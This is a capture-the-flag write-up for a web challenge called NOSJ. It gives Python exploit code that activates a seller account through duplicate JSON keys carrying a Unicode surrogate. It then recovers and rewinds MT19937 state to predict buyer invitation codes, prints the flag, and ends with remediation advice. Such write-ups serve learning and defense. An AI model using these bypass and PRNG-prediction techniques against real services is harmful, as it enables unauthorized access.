NOSJ
Author: 0xIDA
Platform: FlagYard · Category: web · Difficulty: N/A
Challenge Info
- CTF: Flagyard (SAFCSP)
- Category: Web
- Difficulty: Insane
- URL:
http://tgvldeleqq-0.playat.flagyard.com - Flag:
FlagY{feb1aa7624965b3da93a495d185c5715}
Solvers
Summary
NOSJ is an e-commerce challenge with two roles: Seller (can generate buyer invitations) and Buyer (needs a valid invitation to open the store and get the flag). Sellers must be activated to log in, but the registration endpoint rejects an explicit activated: true. The activation field is bypassed by sending duplicate JSON keys with a Unicode surrogate that the backend truncates, allowing the true value to be stored while the validator sees only the false value. After activation, the seller dumps 800 deterministic invitation codes generated by a Mersenne Twister (MT19937). We recover the PRNG state, rewind 800 outputs before the observed window, and test each code as a buyer until the flag is returned.
Solution
Step 1: Activate seller via Unicode-truncated duplicate key
The /register/seller endpoint rejects a body containing activated: true with:
403 You cannot set 'activated' to true.
However, the JSON parser truncates a lone surrogate (\uDB00) appended to a duplicate key. Sending a first activated: false key (which satisfies the validator) and a second activated\uDB00: true key causes the backend to store activated = true.
body = json.dumps({
'username': 'seller_xyz',
'password': 'Password123!',
'bio': 'b',
'activated': False,
'activated\udb00': True
})
requests.post(f'{BASE}/register/seller', data=body, headers={'Content-Type': 'application/json'})
requests.post(f'{BASE}/login/seller', json={'username': 'seller_xyz', 'password': 'Password123!'})
After this, the seller can access /seller/dashboard and call /get_buyer_invitation.
Step 2: Dump 800 sequential invitation codes
The invitation endpoint accepts a list of names and returns one code per element. Using a list of repeated NaN values returns 800 deterministic 32-bit unsigned integers.
raw = '{"name": [' + ', '.join(['NaN'] * 800) + ']}'
r = s.post(f'{BASE}/get_buyer_invitation', data=raw, headers={'Content-Type': 'application/json'})
codes = [int(x) for x in re.findall(r'\b\d+\b', r.text)] # 800 values
Step 3: Recover MT19937 state and rewind
The codes are sequential 32-bit outputs from MT19937. Submitting the first 624 values to RandCrack recovers the state; the next 176 predicted values match the rest of the dump.
from randcrack import RandCrack
rc = RandCrack()
for v in codes[:624]:
rc.submit(v)
# Confirm predictions
predictions = [rc.predict_getrandbits(32) for _ in range(176)]
assert predictions == codes[624:800]
# Rewind 800 values before the observed window
rc.offset(-(624 + 800))
prev_codes = [rc.predict_getrandbits(32) for _ in range(800)]
Step 4: Submit recovered codes as buyer and get the flag
Register/login a buyer and try each rewound code at /buyer/invite. The valid code is at index 612 of the rewound list.
b = requests.Session()
b.post(f'{BASE}/register/buyer', json={'username': 'buyer_xyz', 'password': 'Password123!'})
b.post(f'{BASE}/login/buyer', json={'username': 'buyer_xyz', 'password': 'Password123!'})
for i, code in enumerate(prev_codes):
r = b.post(f'{BASE}/buyer/invite', json={'invitation': str(code)})
if 'flag' in r.text.lower():
print(f'Index {i}: {r.text}')
break
Output:
[?] interesting at 612 code=...: 200 Your flag is: FlagY{feb1aa7624965b3da93a495d185c5715}
FLAG FOUND
Remediation
- JSON parsing: Do not rely on duplicate-key handling for security-critical fields. Use a single canonical JSON parser and reject duplicate keys (
json.loads(..., object_pairs_hook=reject_duplicates)). - Input validation: Validate
activatedstrictly after parsing, not before; enforce it server-side and ignore user-supplied activation flags during registration. - Cryptographic randomness: Use
secrets/os.urandom/ a CSPRNG for invitation codes, notrandom(MT19937 is predictable). - Output space: Ensure generated codes are checked for uniqueness and use a large enough entropy space to prevent brute-force and state recovery attacks.
Flag
FlagY{feb1aa7624965b3da93a495d185c5715}
Solve Script
/root/nosj_solve_full.py contains the full automated exploit from activation to flag.